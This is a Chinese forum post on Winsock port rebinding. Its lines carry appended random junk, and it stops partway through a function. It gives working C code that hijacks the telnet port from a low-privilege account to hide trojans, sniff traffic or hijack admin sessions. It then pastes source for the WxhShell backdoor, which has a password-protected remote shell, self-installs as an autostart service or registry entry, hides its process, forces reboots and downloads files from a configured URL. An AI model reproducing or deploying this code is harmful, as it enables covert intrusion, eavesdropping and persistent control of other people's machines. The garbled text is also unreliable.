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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zo@>~G3$9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *v:+A E  
\EYhAx`2  
  saddr.sin_family = AF_INET; ~,R_  
&z{oVU+mA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3X0^xUA6  
aChY5R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lqqY5l6j  
ReKnvF~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 D8`,PXtV  
zfi{SO l  
  这意味着什么?意味着可以进行如下的攻击: M0c"wi@S_  
}'kk}2ej`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E_WiQ?p   
jc;&g)Rv  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !bH-(K{S6  
`Up<;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u9mMkzgSkP  
sF_.9G)S0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "TtK!>!.  
a+\ Gz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~<v`&Gm?"  
~DqNA%Mb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o1zc`Ibd  
K* [cJcY+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _sZ/tU@_-K  
F1Egcx/$V  
  #include t47 f$gq  
  #include uT]_pKm  
  #include 5?9}^s4  
  #include    a;*&q/{o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8Mws?]\/q  
  int main() _z,/!>J  
  { * I'O_D  
  WORD wVersionRequested; .vQ2w  
  DWORD ret; Yz-b~D/=}  
  WSADATA wsaData; e"^1- U\  
  BOOL val; MB^ b)\X  
  SOCKADDR_IN saddr; $Ae/NwIlc  
  SOCKADDR_IN scaddr; Gjy'30IF  
  int err; Duptles  
  SOCKET s; vU{ZB^+&6o  
  SOCKET sc; Dvd.Q/f  
  int caddsize; ^Po\:x%o  
  HANDLE mt; (nBJ,v)  
  DWORD tid;   IeN!nK-  
  wVersionRequested = MAKEWORD( 2, 2 ); ( Y/ DMQ  
  err = WSAStartup( wVersionRequested, &wsaData ); :Oq!.uO  
  if ( err != 0 ) { B TcxBh  
  printf("error!WSAStartup failed!\n"); ~&B_ Bswf  
  return -1; zKfb  
  } rQisk8 %  
  saddr.sin_family = AF_INET; '|Q=J)  
   0C3Yina9 *  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e5`{*g$i).  
A.WJ#1i}E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); cO(|>&tJ  
  saddr.sin_port = htons(23); J=4S\0Z*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f+<-Jc  
  { 1RRvNZW  
  printf("error!socket failed!\n"); )}WG`  
  return -1; wy) Frg  
  } ,8$;|#d  
  val = TRUE; m} Yf6:cr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u{6*}6@fi  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3kYUO-qw  
  { hC6$>tl  
  printf("error!setsockopt failed!\n"); )%,bog(x  
  return -1; )%ja6Vg  
  } jgEiemh&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [FyE{NfiJ%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 w`#lLl B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m"U\;Mw?  
S'3l<sY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |:H[Y"$1;  
  { |_O; U=2  
  ret=GetLastError(); i"w$D{N  
  printf("error!bind failed!\n"); mi97$Cr2  
  return -1; (x.K%QC)  
  }  KsUsj3J  
  listen(s,2); _V8pDcY  
  while(1) 1Ll@ ocE  
  { /}M@ @W  
  caddsize = sizeof(scaddr); f0wQn09  
  //接受连接请求 uE5kL{Fv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rxa8X wo8  
  if(sc!=INVALID_SOCKET) EWqKd/  
  { hrcR"OZ~X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?c>j^}A/N  
  if(mt==NULL) d>vGx  
  { l'3NiIX  
  printf("Thread Creat Failed!\n"); 2@e<II2ha8  
  break; (5G^"Srw  
  } %f{kT<XHu  
  } +;cw<9%0  
  CloseHandle(mt); 1Ete;r%5=  
  } Pi+,y  
  closesocket(s); U4LOe}Ny  
  WSACleanup(); vRT1tOQ$  
  return 0; e?Cbl'  
  }   (V e[FhA  
  DWORD WINAPI ClientThread(LPVOID lpParam) evszfCH'J  
  { QKOo # 7  
  SOCKET ss = (SOCKET)lpParam; nH T2M{R  
  SOCKET sc; kTC6fNj[  
  unsigned char buf[4096]; &+*jTE  
  SOCKADDR_IN saddr; >mt<`s  
  long num; y!aq}YS  
  DWORD val; ]Ff&zBJ  
  DWORD ret; WfO6Fvx%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t~@TUTbx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .` ,YUr$.  
  saddr.sin_family = AF_INET; 0Y!Bb2 m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0kC!v,  
  saddr.sin_port = htons(23); Sm,%>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <cepRjDn  
  { iY*Xm,#  
  printf("error!socket failed!\n"); 9IIe:  
  return -1; \>I&UFfH)4  
  } )cOm\^,  
  val = 100; 9B*SWWAj  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) },[j+wx  
  { b(~NqV!i  
  ret = GetLastError(); 6Ajiz_~U  
  return -1; u4.-AY {  
  } %C)U F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bLNQ%=FjO  
  { o'D6lkf0  
  ret = GetLastError(); 0V`/oaW;  
  return -1; "t\rjFw  
  } 6dg[   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9"<)DS  
  { fNB*o={r|  
  printf("error!socket connect failed!\n"); k92189B9j/  
  closesocket(sc); y l3iU:+V  
  closesocket(ss); t0?BU~f  
  return -1; U15Hq*8Z  
  } yY,.GzIjCj  
  while(1) YjG0: 9  
  { [_H9l)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $9ON 3>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B>~E6j7[Mp  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bJ/~UEZw  
  num = recv(ss,buf,4096,0); jkPXkysm  
  if(num>0) T8qG9)~3  
  send(sc,buf,num,0); Q7#Q6-Q  
  else if(num==0) Vr5a:u'  
  break; -{P)\5.L  
  num = recv(sc,buf,4096,0); TWxMexiW  
  if(num>0) qtgj"4,:`  
  send(ss,buf,num,0); :.sK:W("v  
  else if(num==0) 1S_ KX.  
  break; lYy0   
  } >xH3*0 Lp  
  closesocket(ss); !^\|r<2M  
  closesocket(sc); 0>.'w\,87B  
  return 0 ; L@[bgN`=v  
  } +%>L;'L ^X  
][_:{ N/  
$1UN?(r  
========================================================== w1s#8:  
Dy8Go4  
下边附上一个代码,,WXhSHELL Z"E+ TX  
mXa1SZnE   
========================================================== du47la 3  
v8w N2[fC  
#include "stdafx.h" d5WE^H)E.  
I#9K/[  
#include <stdio.h> ,~G[\2~p  
#include <string.h> uswz@ [pa  
#include <windows.h> wBmbn=>#S  
#include <winsock2.h>  ExnszFX*  
#include <winsvc.h> 1lx\Pz@ol  
#include <urlmon.h> JXvHsCd?  
&=s{ +0  
#pragma comment (lib, "Ws2_32.lib") r%xNfTa  
#pragma comment (lib, "urlmon.lib") TmUn/  
s]=kD  
#define MAX_USER   100 // 最大客户端连接数 Y3-15:-  
#define BUF_SOCK   200 // sock buffer o]k[l ;  
#define KEY_BUFF   255 // 输入 buffer -4HI9Czts  
(r7~ccy4  
#define REBOOT     0   // 重启 cLB"<mG  
#define SHUTDOWN   1   // 关机 +/UInAM  
Ya,>E@oc  
#define DEF_PORT   5000 // 监听端口 \W$>EH  
%7L'2/Y2x  
#define REG_LEN     16   // 注册表键长度 ~}TVM%0RTq  
#define SVC_LEN     80   // NT服务名长度 Rhr]ML  
\w`Il"}V  
// 从dll定义API qnT:x{o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NP|U |zn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @Yt[%tOF+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Lp{l& -uQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,',fO?Qv'  
}*+ca>K  
// wxhshell配置信息 6:h!gY  
struct WSCFG { 8BWLi5R[  
  int ws_port;         // 监听端口 Cu9,oU+N  
  char ws_passstr[REG_LEN]; // 口令 242lR0#aY  
  int ws_autoins;       // 安装标记, 1=yes 0=no s[Njk@y,  
  char ws_regname[REG_LEN]; // 注册表键名 J)o~FC]b*  
  char ws_svcname[REG_LEN]; // 服务名 uRUysLIw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6i&WF<%D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KXR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hS<x+|'l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9-L.?LG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $r_z""eOc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `cVG_= 2  
|@Z QoH  
}; B\N,%vsx#U  
\7Zk[)!FL  
// default Wxhshell configuration WRD^S:`BH  
struct WSCFG wscfg={DEF_PORT, ;1F3.ibE  
    "xuhuanlingzhe", `)SkA?yKI  
    1, m2\ZnC  
    "Wxhshell", (+T|B E3*#  
    "Wxhshell", 4?d2#Xhs8  
            "WxhShell Service", G =lC[i  
    "Wrsky Windows CmdShell Service", |n* I}w^  
    "Please Input Your Password: ", b/<n:*$   
  1, #mtlgK'  
  "http://www.wrsky.com/wxhshell.exe", -+c_TJ.dC  
  "Wxhshell.exe" )8P<ZtEU  
    }; Ee4oTU5Mb  
od-N7lp#  
// 消息定义模块 ~sk 4v:-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ];(w8l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 03{e[#6   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <tFq6|  
char *msg_ws_ext="\n\rExit."; A "w 1GBx  
char *msg_ws_end="\n\rQuit."; q \0>SG  
char *msg_ws_boot="\n\rReboot..."; Hh;7 hY\  
char *msg_ws_poff="\n\rShutdown..."; CQ13fu +|6  
char *msg_ws_down="\n\rSave to "; u,/PJg-(!  
Q%KS$nP9  
char *msg_ws_err="\n\rErr!"; [?]s((A~B  
char *msg_ws_ok="\n\rOK!"; wn|Sdp  
, gz:2UY#  
char ExeFile[MAX_PATH]; Rrk3EL  
int nUser = 0; uv._N6mj  
HANDLE handles[MAX_USER]; ][#]4 _  
int OsIsNt; UJlKw `4  
C+2*m=r  
SERVICE_STATUS       serviceStatus; O(wt[AEA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vx?a&{3]-  
.!=2#<  
// 函数声明 M-0BQs`N  
int Install(void); K{"(|~=U  
int Uninstall(void); .7cQKdvcC  
int DownloadFile(char *sURL, SOCKET wsh); Rz%+E0  
int Boot(int flag); 'N'EC`R  
void HideProc(void); \W #M]Q  
int GetOsVer(void); MheP@ [w|@  
int Wxhshell(SOCKET wsl); s{hJ"lv:  
void TalkWithClient(void *cs); Z wIsEJz  
int CmdShell(SOCKET sock); 'rU 5VrK  
int StartFromService(void); "EHwv2Hm>  
int StartWxhshell(LPSTR lpCmdLine); oXb}6YC  
[%Y Cupr#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !a4pKN`qLY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d94Lc-kq^  
_[IN9ZC2G  
// 数据结构和表定义 6?(*:}Q  
SERVICE_TABLE_ENTRY DispatchTable[] = }&EPH}V2n  
{ MJDFm,  
{wscfg.ws_svcname, NTServiceMain}, }6ec2I%`o  
{NULL, NULL} <C]s\ "o-`  
}; D1x~d<j  
={8ClUV#  
// 自我安装 LXfDXXF  
int Install(void) }!5"EL(L80  
{ o'r?^ *W  
  char svExeFile[MAX_PATH]; >L5[dkg%  
  HKEY key; lHr?sMt  
  strcpy(svExeFile,ExeFile); /ey}#SHm,  
|)yO] pB:  
// 如果是win9x系统,修改注册表设为自启动 ;/ WtO2  
if(!OsIsNt) { >`\~=ivrD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 62a{Ggs{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iv:[]o  
  RegCloseKey(key); B-'Xk{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 57rc|]C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2 ;U(r: ]  
  RegCloseKey(key); k q_B5L?  
  return 0; 53@*GXzE  
    } 57D /"  
  } %A:<rO85o  
} M~p=OM<  
else { D+#QQH  
sDw&U?gUv  
// 如果是NT以上系统,安装为系统服务 1kvBQ1+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \_CC6J0k  
if (schSCManager!=0) O~l WFaW  
{ f*LDrAf9  
  SC_HANDLE schService = CreateService qeHb0G  
  ( `A3"*,|z  
  schSCManager, Kcl>uAgU  
  wscfg.ws_svcname, l]^uVOX  
  wscfg.ws_svcdisp, l<! ?`V6}  
  SERVICE_ALL_ACCESS, 7WKb| /#;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _}{C?611c  
  SERVICE_AUTO_START, K'Bq@6@C g  
  SERVICE_ERROR_NORMAL, @aWvN;v  
  svExeFile, W=%}~ 7*  
  NULL, Mp}aJzmkB;  
  NULL, ixp(^>ZN  
  NULL, =P-kb^s  
  NULL, $yLsuqB}  
  NULL cZPv6c_w  
  ); #4DEb<D  
  if (schService!=0) DF P0WXbOE  
  { o-yZ$+V  
  CloseServiceHandle(schService); ,*wa#[  
  CloseServiceHandle(schSCManager); Ae;> @k/|=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M')f,5i&$  
  strcat(svExeFile,wscfg.ws_svcname); S:+SZq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K!0vvP2H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DO8@/W( `  
  RegCloseKey(key); I?EtU/AD  
  return 0; Mx4 <F "9  
    } 4&&((H  
  } 6"/cz~h  
  CloseServiceHandle(schSCManager); bb}|"m .  
} n&p i  
} ,n-M!y  
:Fm;0R@/k  
return 1; D/5 ah_;  
} .|G([O^H  
294 0M4  
// 自我卸载 B_aLqB]U  
int Uninstall(void) dpxP  
{ mr,IP=e~  
  HKEY key; xf_NHKZ)  
0P3^#j  
if(!OsIsNt) { s["8QCd"r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d *!)wt  
  RegDeleteValue(key,wscfg.ws_regname); j;WZ[g#t  
  RegCloseKey(key); /2Y t\=S=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dmgoVF_qR  
  RegDeleteValue(key,wscfg.ws_regname); Cd?a C  
  RegCloseKey(key); >WVos 4  
  return 0; 9o@5:.b<j  
  } /xUTm=w7u  
} XJ^dX]4  
} D C{l.a.  
else { b MZ-{<+i  
f!|7j}3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wrSw>sE"  
if (schSCManager!=0) ]DHB'NOh,  
{ u!S^lV@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ('hr;s=  
  if (schService!=0) |_x U{Pu  
  { p%/Z  
  if(DeleteService(schService)!=0) { Oe:+%p  
  CloseServiceHandle(schService); :D|"hJ  
  CloseServiceHandle(schSCManager); AqM}@2#%%  
  return 0; 3x@t7B  
  } omisfu_~E  
  CloseServiceHandle(schService); w~{NN K;"j  
  } h mC. 5mY  
  CloseServiceHandle(schSCManager); C2OBgM+  
} %{?EfULg  
} X0wvOs:  
"#Qqwsw7  
return 1; Ro\ U T64  
} Lq : !?)I  
$Y& 8@/L  
// 从指定url下载文件 >r J9^rS  
int DownloadFile(char *sURL, SOCKET wsh) l6] :Zcd0  
{ l.[S.@\=.  
  HRESULT hr; Gi]R8?M  
char seps[]= "/"; MKMWHGN  
char *token; E]Dcb*t  
char *file; {"k}C2K'r  
char myURL[MAX_PATH]; *m)+|v}  
char myFILE[MAX_PATH]; L?:.8k`d  
cih[A2lp  
strcpy(myURL,sURL); Q"rQVO  
  token=strtok(myURL,seps); PWUS@I  
  while(token!=NULL) zmaf@T  
  { m3[R   
    file=token; ;7=pNK  
  token=strtok(NULL,seps); Y<0}z>^  
  } nsW #  
xDJ@MW#  
GetCurrentDirectory(MAX_PATH,myFILE); Vcjmj  
strcat(myFILE, "\\"); %{"v^4  
strcat(myFILE, file); E "9`  
  send(wsh,myFILE,strlen(myFILE),0); t*J *?Ma  
send(wsh,"...",3,0); XLQt>y)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ul@G{N{L   
  if(hr==S_OK) lqdil l\  
return 0; gkkT<hEV=  
else -|_#6-9  
return 1; "]H_;:{f  
%?  87#|  
} '$nm~z,V  
55LW[Pc  
// 系统电源模块 @s7ZfV??  
int Boot(int flag) rx[l7F q  
{ < KB V  
  HANDLE hToken; !C]2:+z-MF  
  TOKEN_PRIVILEGES tkp; !g|)?XWc  
}[2  
  if(OsIsNt) { %# M=qP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f)'m pp^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %BBM%Lj  
    tkp.PrivilegeCount = 1; ': fq/k3;&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Hst]}g' .  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *n]f)Jc  
if(flag==REBOOT) { #POVu|Y;h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :[P)t %  
  return 0; A?)nLp&Y  
} kz=Ql|@  
else { ZRCm'p3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )(CZK&<  
  return 0; m+m2<|%x  
} t_ju[xL5B  
  } #M/^n0E  
  else { 76 ] X  
if(flag==REBOOT) { P6G&3yPt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) , yd]R4M  
  return 0; "|k 4<"]  
} NAg9EaWja{  
else { HgY [Q}7s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8_*31Y   
  return 0; [T}Lq~  
} ]:"<if gp$  
} LZR x>q^  
fGtYvl O-5  
return 1; &AUtUp kOo  
} rm}%C(C{J  
Fi!BXngbd  
// win9x进程隐藏模块 ue8"_N  
void HideProc(void) -w'_Q"o2  
{ ctk~}( 1#  
Sj(5xa[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]0dj##5tJ  
  if ( hKernel != NULL ) ]wxjd l  
  { _ZMAlC*$G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >(.GIR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AX{X:L8Ut2  
    FreeLibrary(hKernel); f\+E&p.  
  } .m gm1zz  
70Z#Ej  
return; /BN_K8nb`  
} fex<9'e  
> a?K ![R  
// 获取操作系统版本 y]U]b G{  
int GetOsVer(void) _A/q bm  
{ r `;_ #&b  
  OSVERSIONINFO winfo; a]S0|\BkN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ovXU +8  
  GetVersionEx(&winfo); *r90IS}A$2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -ZVCb@%  
  return 1;  B=d :r  
  else nhdOo   
  return 0; >))f;$D=  
} /XVjcD66c  
R` HC EX)  
// 客户端句柄模块 '-KYeT\;  
int Wxhshell(SOCKET wsl) 14DHU  
{ 5Q$.q &,  
  SOCKET wsh; iZ( U]  
  struct sockaddr_in client;  Gv(?u  
  DWORD myID; P Y&(ObC  
iVSN>APe  
  while(nUser<MAX_USER) o)]mJb~XG-  
{ RW4,j&)  
  int nSize=sizeof(client); %a\L^w)Xn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); my]t[%Q{  
  if(wsh==INVALID_SOCKET) return 1; WeiDg,]e$b  
|PNPOj0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E;MelK<8(  
if(handles[nUser]==0) 63PSYj(y  
  closesocket(wsh); CM`B0[B  
else S*3*Q l*  
  nUser++; *}h#'+  
  } @{q:179w^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7cQFH@SC  
b2r]>*Vc  
  return 0; )q|a Sd  
} ]#sF pWI[N  
cp_<y)__  
// 关闭 socket t6C2DHh7$  
void CloseIt(SOCKET wsh) 1DR ih>+#  
{ 3YO %$  
closesocket(wsh); :9~LYJ ?  
nUser--; }.k*4Vw#Wt  
ExitThread(0); oAprM Z 7Y  
} E (.~[-K4  
M/a40uK  
// 客户端请求句柄 `UD,ne  
void TalkWithClient(void *cs) : *8t,f~s^  
{ =1r!'<"h  
 P y!$r  
  SOCKET wsh=(SOCKET)cs; IgyoBfj\d  
  char pwd[SVC_LEN]; ;k:17&:8ue  
  char cmd[KEY_BUFF]; /e;E+   
char chr[1]; 3C gmZ7[  
int i,j; ty\F~]Oo  
OPuty/^!Gw  
  while (nUser < MAX_USER) { S;K5JBX0#  
ua!43Bp  
if(wscfg.ws_passstr) { $W;f9k@C!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jB"IJ$cD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %7hf6Xo=  
  //ZeroMemory(pwd,KEY_BUFF); ,<s/K  
      i=0; ( yK@(euG  
  while(i<SVC_LEN) { t2LX@Q"  
I~F]e|Ehqr  
  // 设置超时 [x{Ai( /T^  
  fd_set FdRead; g#%Egb1  
  struct timeval TimeOut; T f40lv+{  
  FD_ZERO(&FdRead); ]%2y`Jrl^W  
  FD_SET(wsh,&FdRead); 6]|-%  
  TimeOut.tv_sec=8; z'&tmje[?  
  TimeOut.tv_usec=0; U1;&G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _;mA(j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F*-+5nJ&@  
b6NGhkr'\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y[0mTL4IO  
  pwd=chr[0]; ,4HZ-|EOZ  
  if(chr[0]==0xd || chr[0]==0xa) { puAjAvIax  
  pwd=0; Oq*;GR(Q  
  break; Oy_%U*  
  } \7PC2IsT3  
  i++; -&EU#Wqh  
    } A5E^1j}h@  
P%aNbMg  
  // 如果是非法用户,关闭 socket `-w,6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WX* uhR  
} 8o i{%C&-  
VDFs.;:s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x~QZVL=:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hxx]q+DAS  
$ftxid8  
while(1) { aTwBRm  
 ]&OI.p  
  ZeroMemory(cmd,KEY_BUFF); qVssw* GDB  
88KQ) NU  
      // 自动支持客户端 telnet标准   ^c]c`w  
  j=0; n s#v?D9NF  
  while(j<KEY_BUFF) { t|m=X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WD@v<Wx)  
  cmd[j]=chr[0]; =Eb$rc)  
  if(chr[0]==0xa || chr[0]==0xd) { ws<p BC,m  
  cmd[j]=0; .*B@1q  
  break; E[Q2ZqhgbP  
  } wGw<z[:f  
  j++; op($+Q  
    } O7oq1JI]Y  
uD\rmO{  
  // 下载文件 3 MCV?"0  
  if(strstr(cmd,"http://")) { $ {e5Ka  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); biG :Xn  
  if(DownloadFile(cmd,wsh)) 3BSZz%va  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }wZsM[NDB  
  else :JU$ 6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; +1ooeU  
  } 2^%O%Pc  
  else { I9e3-2THfj  
>Cam6LJ  
    switch(cmd[0]) { udS&$/&GH  
  }.1}yz^y  
  // 帮助 Ept=&mJPu  
  case '?': { ^CK D[s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hU3sEOm>  
    break; :F_>`{  
  } '~VF*i^4  
  // 安装 rZ&li/Z  
  case 'i': { WRrg5&._q  
    if(Install())  z31g"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nRyx2\Py+  
    else yeam-8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,Jx.Kj.,  
    break; Pk;1q?tGw  
    } .X5A7 m  
  // 卸载 F:sUGM,  
  case 'r': { {e5-  
    if(Uninstall()) Jn%Etz-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M8IU[Pz4  
    else 8JXS:J.|v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #qARcxbK|  
    break; _>bk'V7  
    } TR%8O;  
  // 显示 wxhshell 所在路径 7m%[$X`  
  case 'p': { BMtk/r/  
    char svExeFile[MAX_PATH]; &dPI<HlM  
    strcpy(svExeFile,"\n\r"); N85ZbmU~  
      strcat(svExeFile,ExeFile); FNs$k=* 8  
        send(wsh,svExeFile,strlen(svExeFile),0);  @{Dfro  
    break; FOhq&\nkU  
    } qDcoccEf  
  // 重启 $b[Ha{9(v  
  case 'b': { R8 LHwRQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jl1\*1"  
    if(Boot(REBOOT)) n5#QQk2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hj\A-Yf  
    else { `(/xj{"Fr}  
    closesocket(wsh); pgs<Mo$\%B  
    ExitThread(0); T7-yZSw -m  
    } Dw>)\\n{Kl  
    break; QQ=Kj%R  
